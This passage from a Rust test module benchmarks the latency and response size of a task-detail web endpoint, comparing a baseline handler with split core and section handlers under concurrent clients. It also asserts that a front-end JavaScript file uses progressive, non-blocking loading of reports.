24341            task.id = format!("20261019-{i:06}-task");
24342            ui.queue.put(&mut task).unwrap();
24343        }
24344        for baseline in [true, false] {
24345            for clients in [1, 4] {
24346                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24347                let mut samples = Vec::new();
24348                for _ in 0..12 {
24349                    let mut jobs = Vec::new();
24350                    for _ in 0..clients {
24351                        let ui = ui.clone();
24352                        let id = id.clone();
24353                        jobs.push(tokio::spawn(async move {
24354                            let start = Instant::now();
24355                            if baseline {
24356                                let response =
24357                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24358                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24359                                return (
24360                                    elapsed,
24361                                    elapsed,
24362                                    serde_json::to_vec(&response).unwrap().len(),
24363                                );
24364                            }
24365                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24366                            let secondary = talk_sections(State(ui), Path(id));
24367                            let (first, total) = tokio::join!(
24368                                async {
24369                                    let value = core.await.unwrap().0;
24370                                    (
24371                                        start.elapsed().as_secs_f64() * 1000.0,
24372                                        serde_json::to_vec(&value).unwrap().len(),
24373                                    )
24374                                },
24375                                async {
24376                                    let value = secondary.await.unwrap().0;
24377                                    (
24378                                        start.elapsed().as_secs_f64() * 1000.0,
24379                                        serde_json::to_vec(&value).unwrap().len(),
24380                                    )
24381                                }
24382                            );
24383                            (first.0, first.0.max(total.0), first.1 + total.1)
24384                        }));
24385                    }
24386                    for job in jobs {
24387                        samples.push(job.await.unwrap());
24388                    }
24389                }
24390                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24391                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24392                first.sort_by(f64::total_cmp);
24393                total.sort_by(f64::total_cmp);
24394                let n = first.len();
24395                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24396                println!(
24397                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24398                    first[n / 2],
24399                    first[(n * 95 / 100).min(n - 1)],
24400                    total[n / 2],
24401                    total[(n * 95 / 100).min(n - 1)],
24402                    samples[0].2
24403                );
24404            }
24405        }
24406    }
24407
24408    #[test]
24409    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24410        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24411        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24412        assert!(APP_JS.contains("function nextRunRequest(id)"));
24413        assert!(APP_JS.contains("function runShell(id, summary)"));
24414        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24415        assert!(APP_JS.contains("function taskShell(id, summary)"));
24416        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24417    }
24418}